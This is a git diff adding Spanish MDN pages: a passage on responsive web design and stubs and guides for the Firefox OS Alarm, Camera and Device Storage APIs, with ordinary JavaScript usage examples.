+<p>Como reacción a los problemas asociados con la estrategia de desarrollar <a href="https://developer.mozilla.org/en/Web_Development/Mobile/Separate_sites" title="en/Web development/Mobile/Separate sites">sitios web separados</a> para los móviles y los escritorios, una idea relativamente nueva — aunque de hecho es <a class="external" href="http://www.alistapart.com/articles/dao/">bastante vieja</a>— que está aumentando en popularidad: deshacerse por completo de la detección del agente de usuario y hacer que la misma página responda a las capacidades del navegador en el lado del cliente. Este enfoque se ha denominado comúnmente como <a class="external" href="http://www.alistapart.com/articles/responsive-web-design/">diseño web adaptable —o «responsivo»—</a>. Al igual que la estrategia de sitios separados, el diseño web adaptativo tiene aspectos positivos y negativos.</p>
+<h2 id="Las_ventajas">Las ventajas</h2>
+<p>Aunque no se propuso inicialmente como un método para crear sitios para los móviles, el diseño flexible ha ganado recientemente mucha atención como una forma de dar los primeros pasos para el desarrollo de sitios que sean compatibles y amigables con los móviles en vez de tener un sitio separado para los mismos.</p>
+<p>Se ahorra tiempo y dinero, ya que no es necesario mantener sitios web separados para los diferentes dispositivos.</p>
+<p>El diseño flexilbe ofrece cada página con una sola y única URL. Las estadísticas compartidas de las redes sociales (Facebook Likes, Tweets, 1 en Google plus) no están divididas, ya que las versiones de tus páginas web para el escritorio y los móviles utilizan la misma URL .</p>
+<p>El diseño adaptativo no se preocupa por los agentes de usuario.</p>
+<p>Hay aspectos realmente buenos en este enfoque. Puesto que no se basa en la detección del navegador del usuario, tiene más capacidad de adaptarse cara al futuro que el enfoque de sitios separados. Para sitios sencillos, puede ser más fácil de implementar y mantener que otras opciones.</p>
+<h2 id="Las_desventajas">Las desventajas</h2>
+<p>Este enfoque no está excento de limitaciones. Dado que el contenido debe ser modificado del lado del cliente con JavaScript, se busca cambiar solo lo mínimo necesario. En general, las cosas suelen complicarse muy rápido si tratamos de escribir dos códigos separados en JavaScript para trabajar con el mismo DOM. Ésta es la razón más importante por la que las aplicaciones web tienden a no adoptan esta enfoque.</p>
+<p>Dar a tu sitio actual un diseño flexible también implica reescribir tus estilos, si aún no están luciendo un diseño flexible. Podría tener sus ventajas hacer un diseño adaptativo de tu sitio y ser una buena oportunidad para modernizar y limpiar el CSS de tu sitio.</p>
+<p>Por último, dado que vas a añadir código a tus archivos de comandos (scripts) y tus estilos, el rendimiento puede ser peor que con el enfoque de los sitios separados. En realidad no hay forma de evitar esto salvo refactorizar tus archivos de comandos y tus estilos para ahorrar algunos bytes a largo plazo.</p>
+<h2 id="Cuándo_es_adecuado_elegir_esta_opción">Cuándo es adecuado elegir esta opción</h2>
+<p><a href="/@api/deki/files/5894/=teixido_responsive-300x177.png" title="teixido_responsive-300x177.png"><img align="right" alt="teixido_responsive-300x177.png" class="internal rwrap" src="/@api/deki/files/5894/=teixido_responsive-300x177.png?size=webview" style="width: 300px; height: 177px;"></a>Como se mencionó anteriormente, debido a que los cambios de contenido pueden resultar difíciles, cuando se toma este enfoque, no somos capaces de dar a los usuarios una experiencia radicalmente diferente en el móvil sin un aumento significativo en la complejidad del código. Entonces, si las versiones del escritorio y los móviles son muy similares, este enfoque es una opción muy buena. Ésto es partir de páginas bien adaptadas a sitios centrados en los datos, como las páginas de producto. Puede ver ejemplos debajo, de blog o portfolios!</p>
+<h2 id="Ejemplos">Ejemplos</h2>
+<p>Aunque no es tan popular como el enfoque de sitios separados, hay cada día más sitios web que emplean esta técnica. Por suerte, ya que todo el código está del lado del cliente, si desea ver cómo un sitio implementa técnicamente este método, es tan simple como visitar el sitio y hacer clic en “Ver código fuente.” Aquí tienes algunos ejemplos:</p>
+<ul>
+ <li><a class="external" href="http://teixido.co/">http://teixido.co/</a> – uno de mis diseños flexibles favoritos, también la foto de arriba.</li>
+ <li><a class="external" href="http://adactio.com/journal/1696">http://adactio.com/journal/1696</a> – también es un buen artículo para leer, con sus propios enlaces a ejemplos</li>
+ <li><a class="external" href="http://thinkvitamin.com/">http://thinkvitamin.com/</a></li>
+ <li><a class="external" href="http://stephencaver.com/">http://stephencaver.com/</a></li>
+ <li><a class="external" href="http://hicksdesign.co.uk/">http://hicksdesign.co.uk/</a></li>
+</ul>
+<p>A pesar de ser un método relativamente nuevo, ya están apareciendo mejores prácticas. Por ejemplo, si tú estás diseñando un sitio desde cero con esta opción en mente,  por lo general vale la pena  <a class="external" href="http://www.lukew.com/ff/entry.asp?1117">crear primero un diseño de pantalla pequeña</a>, de manera que las limitaciones del telefono móvil están contigo desde el principio. También es de gran utilidad la mejora progresiva de tus estilos en lugar de ocultar los elementos de tu sitio actual con preguntas de los medios. De esta manera, los navegadores antiguos que no admitan las preguntas de los medios siguen mostrando la disposición adecuada. Una excelente presentación sobre las ventajas de este método la puedes ver <a class="external" href="http://www.slideshare.net/bryanrieger/rethinking-the-mobile-web-by-yiibu">aquí</a>.</p>
+<h2 id="Métodos_de_desarrollo_web_para_móviles">Métodos de desarrollo web para móviles</h2>
+<p>Consulta los siguientes artículos de antecedentes y otros enfoques para el desarrollo de plataformas móviles.</p>
+<ul>
+ <li><a href="/en/Web_Development/Mobile/Mobile-friendliness" title="XML Web Services">¿Qué es un móvil-amigable?</a></li>
+ <li><a href="/en/Web_Development/Mobile/Separate_sites" title="en/Web development/Mobile/Separate sites">Sitios separados</a></li>
+ <li><a href="/en/Web_development/Mobile/A_hybrid_approach" title="en/Web development/Mobile/Hybrid approach">Un enfoque híbrido</a></li>
+</ul>
+<h2 id="Véase_también">Véase también</h2>
+<ul>
+ <li><a href="/en/Web_Development/Responsive_Web_design" title="Responsive Web design">Diseño Web Adaptativo</a> para ver recursos adicionales</li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id="Original_document_information">Original document information</h3>
+ <p>Originally published on 27 May, 2011 on the Mozilla Webdev blog as "<a class="external" href="http://blog.mozilla.com/webdev/2011/05/27/approaches-to-mobile-web-development-part-3-responsive-design/" title="http://blog.mozilla.com/webdev/2011/05/27/approaches-to-mobile-web-development-part-3-responsive-design/">Approaches to Mobile Web Development Part 3 - Responsive Design</a>", by Jason Grlicky.</p>
+</div>
+<p> </p>
diff --git a/files/es/web_development/mobile/index.html b/files/es/web_development/mobile/index.html
new file mode 100644
index 0000000000..112d15199d
--- /dev/null
+++ b/files/es/web_development/mobile/index.html
@@ -0,0 +1,17 @@
+---
+title: Mobile Web development
+slug: Web_Development/Mobile
+tags:
+  - Mobile
+  - NeedsTranslation
+  - TopicStub
+  - Web Development
+translation_of: Web/Guide/Mobile
+---
+<p>Developing web sites to be viewed on mobile devices requires approaches that ensure a web site works as well on mobile devices as it does on desktop browsers. The following articles describe some of these approaches.</p>
+<ul>
+  <li><a class="vt-p" href="/en/Web_Development/Mobile/Mobile-friendliness" title="/en/Web_development/Mobile/Mobile-friendliness">What is mobile-friendliness?</a></li>
+  <li><a class="vt-p" href="/en/Web_Development/Mobile/Separate_sites" title="en/Web_development/Mobile/Separate sites">Separate sites</a></li>
+  <li><a class="vt-p" href="/en/Web_Development/Mobile/Responsive_design" title="/en/Web_development/Mobile/Responsive design">Responsive design</a></li>
+  <li><a class="vt-p" href="/en/Web_development/Mobile/A_hybrid_approach" title="A New Approach to Web Applications (external)">A hybrid approach</a></li>
+</ul>
diff --git a/files/es/web_localizability/index.html b/files/es/web_localizability/index.html
new file mode 100644
index 0000000000..7a7430e26d
--- /dev/null
+++ b/files/es/web_localizability/index.html
@@ -0,0 +1,19 @@
+---
+title: Web Localizability
+slug: Web_Localizability
+tags:
+  - Internationalization
+  - Localizability
+  - Localization
+  - NeedsTranslation
+  - TopicStub
+  - Web Development
+translation_of: Mozilla/Localization/Web_Localizability
+---
+<p>Localizability (or <em>l12y</em> for short) is a characteristic found in an application or content that enables localization. The following list contains links to pages that highlight steps that can be taken to make web content localizable.  The documentation is divided into 4 parts:</p>
+<ol> <li><a href="/en/Web_Localizability/Creating_localizable_web_content" title="en/Web Localizability/Creating localizable web content">How to create localizable content.</a></li> <li><a href="/en/Web_Localizability/Localization_formats" title="en/Web Localizability/Localization formats">How to choose the right localization format.</a></li> <li><a href="/en/Web_Localizability/Creating_localizable_web_applications" title="en/Web Localizability/Creating localizable web applications">How to create localizable web applications.</a></li> <li><a href="/en/Web_Localizability/Setting_up_the_infrastructure" title="en/Web Localizability/Setting up the infrastructure">How to set up the infrastructure for localization.</a></li>
+</ol>
+<h3 id="Why_localizability_is_important">Why localizability is important</h3>
+<p>There are many reasons why you should start thinking about making your web app localizable as soon as possible.</p>
+<ol> <li>You will make localizer's life easier, for which they will be grateful.</li> <li>You will have quality content, localized and adapted to the needs of the local market.</li> <li>Extending you web app to support new languages will be easy.</li> <li>The content will be easier to maintain and update.</li> <li>You will end up writing more semanticly-correct code, which is good for your SEO.</li> <li>By reviewing your content and code for l12y, you will find and fix bugs in your original language too.</li>
+</ol>
diff --git a/files/es/webapi/alarm/index.html b/files/es/webapi/alarm/index.html
new file mode 100644
index 0000000000..32add5da86
--- /dev/null
+++ b/files/es/webapi/alarm/index.html
@@ -0,0 +1,180 @@
+---
+title: Api de Alarma
+slug: WebAPI/Alarm
+translation_of: Archive/B2G_OS/API/Alarm_API
+---
+<p>{{ SeeCompatTable() }}</p>
+<h2 id="Resumen">Resumen</h2>
+<p>La <span class="external">API</span> de Alarma provee acceso a la configuración de alarmas del dispositivo, con la cual se puede programar una notificación o una aplicación para que se inicie en un momento específico. Por ejemplo, algunas aplicaciones, como el despertador, calendario o actualizaciones automáticas necesitan utilizar la API de alarma para activar comportamientos particulares del dispositivo en los tiempos especificados.</p>
+<p>Por si mismo, la API de alarmas solo permite programar alarmas. Una alarma es enviada a las aplicaciones a través de la API de mensaje del sistema, entonces las aplicaciones que desean reaccionar a las alarmas tienen que registrarse en los mensajes de alarma.</p>
+<p>Las alarmas son establecidas usando el objeto {{domxref("window.navigator.mozAlarms")}}, el cual es una instancia de {{domxref("MozAlarmsManager")}}.</p>
+<h2 id="example" name="example">Programar alarmas</h2>
+<p>Lo primero ha hacer cuando se utiliza alarmas es programar alarmas. Existen dos tipos de alarmas basadas respecto a la zona horaria. En ambos casos se realiza utilizando el método {{domxref("MozAlarmsManager.add")}} .</p>
+<div class="note">
+  <p><strong>Nota:</strong> Si una alarmar no es dirigida a una aplicación específica, el sistema podría enviar todas las alarmas a todas las aplicaciones que escuchan por alarmas.</p>
+</div>
+<h3 id="Alarmas_ignorando_zonas_horarias">Alarmas ignorando zonas horarias</h3>
+<p>Este tipo de alarmas es enviado basado en la hora local del dispositivo. Si el usuario del dispositivo cambia la zona horaria, la alarma será enviada basada en la nueva zona horaria. Por ejemplo, si un usuario se encuentra en Paris y configura una alarma que debería ser enviada a las 12 PM CET (hora de europa central) y el usuario viaja a San Francisco, la alarma será enviada a las 12 PM PDT (Hora del Pacífico).</p>
+<pre class="brush: js">// Esta es la fecha a programar la alarma
+var myDate  = new Date("May 15, 2012 16:20:00");
+
+// Esta es la información a pasar a la alarma
+var data    = {
+  foo: "bar"
+}
+
+// La cadena "ignoreTimezone" es lo que hace a la alarma ignorar esto
+var request = navigator.mozAlarms.add(myDate, "ignoreTimezone", data);
+
+request.onsuccess = function () {
+  console.log("La alarma ha sido programada");
+};
+
+request.onerror = function () {
+  console.log("Ha ocurrido un error: " + this.error.name);
+};
+</pre>
+<h3 id="Alarmas_respetando_zonas_horarias">Alarmas respetando zonas horarias</h3>
+<p>Este tipo de alarmas es enviado basado en la hora en la zona horaria que se definio cuando la alarma fue programada. Si por alguna razón, el usuario del dispositivo cambia su zona horaria, la alarma será enviada basada en la zona horaria original. Por ejemplo, si un usuario se encuentra en Paris y programa una alarma que debería ser enviada a las 12 PM CET (Hora de europa central) y si el usuario viaja a San Francisco, la alarma será enviada a las 3 AM PDT (Hora del Pacífico).</p>
+<pre class="brush: js">// Esta es la fecha a programar la alarma
+var myDate  = new Date("May 15, 2012 16:20:00");
+
+// Esta es la información a pasar a la alarma
+var data    = {
+  foo: "bar"
+}
+
+// La cadena "honorTimezone" es lo que hace a la alarma respetar la zona horaria
+var request = navigator.mozAlarms.add(myDate, "honorTimezone", data);
+
+request.onsuccess = function () {
+  console.log("La alarma ha sido programada");
+};
+
+request.onerror = function () {
+  console.log("Ha ocurrido un error: " + this.error.name);
+};
+</pre>
+<h2 id="Administrando_alarmas">Administrando alarmas</h2>
+<p>Una vez que uan alarma es programada, es posible administrarla.</p>
+<p>El método {{domxref("MozAlarmsManager.getAll")}} devolverá la lista completa de alarmas actualmente programadas por la aplicación. Esta lista es un <code><a href="/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Array" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code> de objetos {{Anch("mozAlarm")}} .</p>
+<h3 id="mozAlarm">mozAlarm</h3>
+<p>{{page("/en-US/docs/Web/API/MozAlarmsManager.getAll","mozAlarm")}}</p>
+<pre class="brush: js">var request = navigator.mozAlarms.getAll();
+
+request.onsuccess = function () {
+  this.result.forEach(function (alarm) {
+    console.log('Id: ' + alarm.id);
+    console.log('date: ' + alarm.date);
+    console.log('respectTimezone: ' + alarm.respectTimezone);
+    console.log('data: ' + JSON.stringify(alarm.data));
+  });
+};
+
+request.onerror = function () {
+  console.log("An error occurred: " + this.error.name);
+};
+</pre>
+<p>El método {{domxref("MozAlarmsManager.remove")}} se utiliza para desprogramar una alarma existente.</p>
+<pre class="brush: js">var alarmId;
+
+// Set an alarm and store it's id
+var request = navigator.mozAlarms.add(new Date("May 15, 2012 16:20:00"), "honorTimezone");
+
+request.onsuccess = function () {
+  alarmId = this.result.id;
+}
+
+// ...
+
+// Later on, removing the alarm if it exists
+if (alarmId) {
+  navigator.mozAlarms.remove(alarmId);
+}
+</pre>
+<h2 id="Manejando_alarmas">Manejando alarmas</h2>
+<p>Cualquier aplicación puede reaccionar cuando una alarma es programada por el sistema. Con el fin de ser capaz de manejar alarmas, una aplicación debe registrarse como manejador de alarmas. Esto se logra a través del API de mensajes del sistema en dos pasos:</p>
+<p>Primero, las aplicaciones deberán incluir <code>alarm</code> en la propiedad de mensajes en el manifiesto de su aplicación con la URL del documento que registra la función de retorno (callback) ha ser usada cuando la alarma sea enviada.</p>
+<pre class="brush: js">"messages": [
+  { "alarm": "/index.html" }
+]</pre>
+<p>Segundo,  la aplicación debe enlazar la función de retorno (callback) con el mensaje de <code>alarm</code>.</p>
+<p>Esto se logra usando el método {{domxref("window.navigator.mozSetMessageHandler","navigator.mozSetMessageHandler")}} . Esta función recibirá el objeto {{Anch("mozAlarm")}} conteniendo la información agregada a la alarma.</p>
+<pre class="brush: js">navigator.mozSetMessageHandler("alarm", function (mozAlarm) {
+  alert("alarm fired: " + JSON.stringify(mozAlarm.data));
+});
+</pre>
+<p>Si una aplicación desea saber si existe una alarma pendiente a nivel del sistema, es posible utilizar el método {{domxref("window.navigator.mozHasPendingMessage","navigator.mozHasPendingMessage")}} con el valor <code>alarm</code>.</p>
+<pre class="brush: js">navigator.mozHasPendingMessage("alarm");
+</pre>
+<h2 id="Especificaciones">Especificaciones</h2>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="col">Especificación</th>
+      <th scope="col">Estado</th>
+      <th scope="col">Comentario</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>{{SpecName('Alarm API')}}</td>
+      <td>{{Spec2('Alarm API')}}</td>
+      <td>Especificación inicial.</td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera</th>
+        <th>Safari</th>
+      </tr>
+      <tr>
+        <td>Basic support</td>
+        <td>{{ CompatUnknown()}}</td>
+        <td>{{CompatGeckoDesktop("16")}} {{ property_prefix("moz") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Android</th>
+        <th>Chrome for Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Mobile</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>Basic support</td>
+        <td>{{ CompatUnknown() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{CompatGeckoMobile("10")}} {{ property_prefix("moz") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<h2 id="Ver_también">Ver también</h2>
+<ul>
+  <li>{{domxref("window.navigator.mozAlarms","navigator.mozAlarms")}}</li>
+  <li>{{domxref("MozAlarmsManager")}}</li>
+  <li>{{domxref("window.navigator.mozSetMessageHandler")}}</li>
+</ul>
diff --git a/files/es/webapi/cámara/index.html b/files/es/webapi/cámara/index.html
new file mode 100644
index 0000000000..2cd89a2d8b
--- /dev/null
+++ b/files/es/webapi/cámara/index.html
@@ -0,0 +1,20 @@
+---
+title: API de la Cámara
+slug: WebAPI/Cámara
+translation_of: Archive/B2G_OS/API/Camera_API
+---
+<p>{{ ApiRef() }}</p>
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<p><span id="result_box" lang="es">The <strong>Camera API</strong> allows applications to manage the camera of the device. It allows them to take photographs, record videos, and get information like the focus, the zoom, the white balance, the flash, … It is a priviledged API and can only be used by certified applications.</span></p>
+<div class="note">
+ <p><strong>Note:</strong> Except if you are implementing a replacement for the default <em>Camera</em> application, you shouldn't use this API. Instead, if you want to use the camera in your device, you should use the <a href="/en-US/docs/WebAPI/Web_Activities" title="/en-US/docs/Web/API/Web_Activities">Web Activities API</a>.</p>
+</div>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li>{{domxref("window.navigator.mozCameras", "navigator.mozCameras")}}</li>
+ <li>{{domxref("CameraManager")}}</li>
+ <li>{{domxref("CameraControl")}}</li>
+ <li>{{domxref("CameraCapabilities")}}</li>
+</ul>
+<p> </p>
diff --git a/files/es/webapi/device_storage/index.html b/files/es/webapi/device_storage/index.html
new file mode 100644
index 0000000000..eb9b4d5fb7
--- /dev/null
+++ b/files/es/webapi/device_storage/index.html
@@ -0,0 +1,226 @@
+---
+title: Device Storage API
+slug: WebAPI/Device_Storage
+translation_of: Archive/B2G_OS/API/Device_Storage_API
+---
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('privileged') }}</p>
+<h2 id="Resumen">Resumen</h2>
+<p>La API de Device Storage es usada para acceder al sistema de archivos dentro de una aplicación Web. Acceder al sistema de archivos puede ser muy susceptible, por ese motivo, esta API está disponible sólo para aplicaciones con privilegios.</p>
+<div class="note">
+  <p><strong>Nota:</strong> El acceso a un dispositivo de almacenamiento es lento debido a la limitación en el nivel físico. En muchos casos puede resultar más rápido usar una base de datos <a href="/en-US/docs/IndexedDB" title="/en-US/docs/IndexedDB">IndexedDB</a> para almacenar archivos en lugar del dispositivo de almacenamiento físico.</p>
+</div>
+<h2 id="Acceso_a_un_almacenamiento">Acceso a un almacenamiento</h2>
+<h3 id="Punto_de_entrada">Punto de entrada</h3>
+<p>Es posible acceder a un área de almacenamiento usando el método {{domxref("window.navigator.getDeviceStorage()","navigator.getDeviceStorage()")}}. Acepta un parámetro de cadena que representa el nombre del alamacenamiento al cual se quiere tener acceso. El método devuelve un objeto {{domxref("DeviceStorage")}} que es usado para acceder al área de almacenamiento relacionada.</p>
+<p>Firefox OS proporciona el siguiente nombre de almacenamiento:</p>
+<ul>
+  <li><code>apps</code>: Esta área de almacenamiento es usada para almacenar los datos de usuario necesarios para las aplicaciones. Como se trata de datos confidenciales, acceder a esta área de almacenamiento requiere algunos privilegios extra y está disponible sólamente para aplicaciones certificadas.</li>
+  <li><code>music</code>: Esta es el área de almacenamiento donde son almacenados música y sonidos.</li>
+  <li><code>pictures</code>: Esta es el área de almacenamiento donde se almacenan las fotos.</li>
+  <li><code>sdcard</code>: Esta es el área de almacenamiento que brinda acceso al SDCard del dispositivo.</li>
+  <li><code>videos</code>: Esta es el área de almacenamiento donde son almacenados los videos.</li>
+</ul>
+<pre class="brush: js">var pics = navigator.getDeviceStorage('pictures');</pre>
+<p>Para ser capaz de usar cada una de las áreas de almacenamiento, la aplicación debe declararlas en su archivo de manifiesto. Por ejemplo, si la aplicación quiere acceder al área de almacenamiento de la <code>sdcard</code>, debe tener el permiso "<code>device-storage:sdcard</code>" en su manifiesto.</p>
+<pre class="brush: js">"permissions": {
+  "device-storage:videos":{ "access": "readonly" },
+  "device-storage:pictures":{ "access": "readwrite" }
+}</pre>
+<h2 id="El_uso_de_un_almacenamiento">El uso de un almacenamiento</h2>
+<p>Una vez que una aplicación tenga acceso de un área de almacenamiento, es posible agregar, obtener y eliminar archivos dentro del área.</p>
+<h3 id="Agregar_un_archivo">Agregar un archivo</h3>
+<p>Se puede agregar una archivo utilizando el método {{domxref("DeviceStorage.addNamed()","addNamed")}} o {{domxref("DeviceStorage.add()","add")}}. La primera permite establecer un nombre explícito para guardar un archivo mientras que la segunda crea un nombre automáticamente cuando se guarda el archivo. Ambos nombres son asíncronos y devuelven un objeto {{domxref("DOMRequest")}} para manejar el <code>success</code> o <code>error</code> de la operación. Esto debe considerar importante que tanto agregar, escribir y leer archivos en un soporte físico es un proceso lento.</p>
+<p>Esos dos métodos esperan un {{domxref("Blob")}} como su primer parámetro. Este objeto será convertido en un archivo y almacenado. Al crear un objeto {{domxref("Blob")}}, es obligatorio darle un tipo. Este tipo, que es un mime type, es importante porque algunas áreas de almacenamiento tienen restricciones basadas en el tipo:</p>
+<ul>
+  <li><code>music</code> sólo acepta el {{domxref("Blob")}} con un mime type válido de audio</li>
+  <li><code>pictures</code> sólo acepta el {{domxref("Blob")}} con un mime type válido de imagen</li>
+  <li><code>videos</code> sólo acepta el {{domxref("Blob")}} con un mime type válido de video</li>
+</ul>
+<pre class="brush: js">var sdcard = navigator.getDeviceStorage("sdcard");
+var file   = new Blob(["Este es un archivo de texto."], {type: "text/plain"});
+
+var request = sdcard.addNamed(file, "mi-archivo.txt");
+
+request.onsuccess = function () {
+  var name = this.result.name;
+  console.log('El archivo "' + name + '" se escribió correctamente en el área de almacenamiento sdcard');
+}
+
+// Un error suele producirse si un archivo con el mismo nombre ya existe
+request.onerror = function () {
+  console.warn('No se puede escribir el archivo: ' + this.error);
+}
+</pre>
+<div class="note">
+  <p><strong>Nota:</strong> El repositorio en un área de almacenamiento está implícito. No es posible crear explícitamente un repositorio vacío. Si quiere usar una estructura de repositorio tiene que hacerlo parte del nombre del archivo a almacenar. Así que si quiere almacenar el archivo <code>bar</code> dentro del repositorio <code>foo</code>, tiene que usar el método {{domxref("DeviceStorage.addNamed()","addNamed")}} con el nombre completo de la ruta del archivo <code>addNamed(<em>blob</em>, "foo/bar")</code>. Esto también se aplica cuando quiere recuperar un archivo con su nombre (véase más adelante).</p>
+  <p>Como el archivo es agregado en un área de almacenamiento restringido por razones de seguridad, un nombre de ruta de archivo no puede empezar con "<code>/</code>" ni "<code>../</code>" (y "<code>./</code>" no tiene sentido).</p>
+</div>
+<h3 id="Obtener_un_archivo">Obtener un archivo</h3>
+<p>Se puede recuperar un archivo de dos maneras: usando su nombre o iterando toda la lista de archivos.</p>
+<p>La manera más fácil es recuperar un archivo por su nombre usando los métodos {{domxref("DeviceStorage.get()","get")}} y {{domxref("DeviceStorage.getEditable","getEditable")}}. La primera proporciona un objeto {{domxref("File")}} (que actúa como un archivo de sólo lectura) mientras que la segunda proporciona un objeto {{domxref("FileHandle")}} (que permite actualizar el archivo subyacente). Ambos métodos son asíncronos y devuelven un objeto {{domxref("DOMRequest")}} para manejar el <code>success</code> o <code>error</code> de la operación.</p>
+<pre class="brush: js">var sdcard = navigator.getDeviceStorage('sdcard');
+
+var request = sdcard.get("mi-archivo.txt");
+
+request.onsuccess = function () {
+  var file = this.result;
+  console.log("Obtenido el archivo: " + file.name);
+}
+
+request.onerror = function () {
+  console.warn("No se puede obtener el archivo: " + this.error);
+}
+</pre>
+<p>La otra forma de recuperar archivos es explorar el contenido del área de almacenamiento. Esto es posible usando los métodos {{domxref("DeviceStorage.enumerate()","enumerate")}} y {{domxref("DeviceStorage.enumerateEditable()","enumerateEditable")}}. El primero proporciona objetos {{domxref("File")}} mientras que el segundo proporciona objetos {{domxref("FileHandle")}}. Ambos métodos son asíncronos y devuelven un objeto {{domxref("DOMCursor")}} para recorrer a lo largo de la lista de archivos. Un {{domxref("DOMCursor")}} es nada menos que un objeto {{domxref("DOMRequest")}} con potencia extra para recorrer a lo largo de la lista de cosas (archivos en ese caso) en forma asíncrona.</p>
+<pre class="brush: js">var pics = navigator.getDeviceStorage('pictures');
+
+// Exploremos todas las imágenes disponibles
+var cursor = pics.enumerate();
+
+cursor.onsuccess = function () {
+  var file = this.result;
+  console.log("Archivo encontrado: " + file.name);
+
+  // Una vez que encontremos el archivo verifiquemos si hay otros resultados
+  if (!this.done) {
+    // Entonces nos movemos al siguiente resultado, que llama al cursor
+    // success con el siguiente archivo como resultado.
+    this.continue();
+  }
+}
+
+cursor.onerror = function () {
+  console.warn("Archivo no encontrado: " + this.error);
+}
+</pre>
+<p>Es posible limitar el número de resultados pasando dos parámetros opcionales a los m´todos {{domxref("DeviceStorage.enumerate()","enumerate")}} y {{domxref("DeviceStorage.enumerateEditable()","enumerateEditable")}}.</p>
+<p>El primer parámetro puede ser una cadena que representa una subcarpeta para buscar dentro.</p>
+<p>El segundo parámetro puede ser un objeto con una propiedad <code>since</code>, que permite limitar la búsqueda a un determinado periodo de tiempo.</p>
+<pre class="brush: js">var pics = navigator.getDeviceStorage('pictures');
+
+// Recuperamos fotos de la semana pasada
+var param = {
+  since: new Date((+new Date()) - 7*24*60*60*1000)
+}
+
+var cursor = pics.enumerate(param);
+
+cursor.onsuccess = function () {
+  var file = this.result;
+  console.log("Foto tomada en: " + file.<code class="language-js">lastModifiedDate</code>);
+
+  if (!this.done) {
+    this.continue();
+  }
+}
+</pre>
+<h3 id="Eliminar_un_archivo">Eliminar un archivo</h3>
+<p>Un archivo se puede eliminar del área de almacenamiento usando simplemente el método {{domxref("DeviceStorage.delete()","delete")}}. Este método sólo necesita el nombre del archivo a eliminar. Como todos los demás métodos de la interfaz {{domxref("DeviceStorage")}}, este también es asíncrono y devuelve un objeto {{domxref("DOMRequest")}} para manejar el <code>success</code> o <code>error</code> de la operación.</p>
+<pre class="brush: js">var sdcard = navigator.getDeviceStorage('sdcard');
+
+var request = sdcard.delete("mi-archivo.txt");
+
+request.onsuccess = function () {
+  console.log("Archivo eliminado");
+}
+
+request.onerror = function () {
+  console.log("No se puede eliminar el archivo: " + this.error);
+}
+</pre>
+<h2 id="Información_de_almacenamiento">Información de almacenamiento</h2>
+<p>Además de acceder a los archivos, un área de almacenamiento proporciona algunos métodos para obtener fácilmente información importante.</p>
+<h3 id="Espacio_disponible">Espacio disponible</h3>
+<p>Una de las cosas más importantes a saber cuando se almacenan archivos en un dispositivo es la cantidad de espacio disponible. La interfaz {{domxref("DeviceStorage")}} proporciona tres funciones útiles dedicadas al espacio:</p>
+<ul>
+  <li>{{domxref("DeviceStorage.freeSpace()","freeSpace()")}} para obtener la cantidad de espacio libre disponible para almacenar nuevos archivos;</li>
+  <li>{{domxref("DeviceStorage.freeSpace()","usedSpace()")}} para obtener la cantidad de espacio utilizado para almacenar archivos;</li>
+  <li>{{domxref("DeviceStorage.available()","available()")}} para obtener la cantidad total de espacio dedicado al área de almacenamiento.</li>
+</ul>
+<p>Como esos métodos son asíncronos, devuelven un objeto {{domxref("DOMRequest")}} para manejar los success o error de la operación.</p>
+<pre class="brush: js">var videos = navigator.getDeviceStorage('videos');
+
+var request = videos.usedSpace();
+
+request.onsuccess = function () {
+  // El resultado es expresado en bytes, permite convertirlo en megabytes
+  var size = this.result / 1000000;
+
+  console.log("Los videos en tu dispositivo ocupan un total de " + size.toFixed(2) + "Mb de espacio.");
+}
+
+request.onerror = function () {
+  console.warn("No se puede obtener el espacio utilizado por videos: " + this.error);
+}
+</pre>
+<h3 id="Escuchar_los_cambios">Escuchar los cambios</h3>
+<p>Como muchas aplicaciones pueden usar un mismo área de almacenamiento al mismo tiempo, a veces es útil para una aplicación ser consciente de un cambio en ese área de almacenamiento. También es útil para una aplicación que quiere realizar la acción asíncrona sin la retransmisión de todos los objetos {{domxref("DOMRequest")}} que devuelven por cada método de la interfaz {{domxref("DeviceStorage")}}.</p>
+<p>Para ese fin, un evento {{event("change")}} se activa cada vez que se crea, modifica o elimina un archivo. Este evento se puede capturar usando la propiedad {{domxref("DeviceStorage.onchange","onchange")}} o el método {{domxref("EventTarget.addEventListener()","addEventListener()")}}. El controlador de eventos recibe un objeto {{domxref("DeviceStorageChangeEvent")}} que es un objeto {{domxref("Event")}} regular con dos propiedades adicionales:</p>
+<ul>
+  <li>{{domxref("DeviceStorageChangeEvent.reason")}} que da la razón del cambio (<code>created</code>, <code>modified</code> o <code>deleted</code>)</li>
+  <li>{{domxref("DeviceStorageChangeEvent.path")}} que brinda la ruta completa del archivo afectado por el cambio.</li>
+</ul>
+<pre class="brush: js">var sdcard = navigator.getDeviceStorage('sdcard');
+
+sdcard.onchange = function (change) {
+  var reason = change.reason;
+  var path   = change.path;
+
+  console.log('El archivo "' + path + '" ha sido ' + reason);
+}
+</pre>
+<h2 id="Especificación">Especificación</h2>
+<p>No es parte de ninguna especificación.</p>
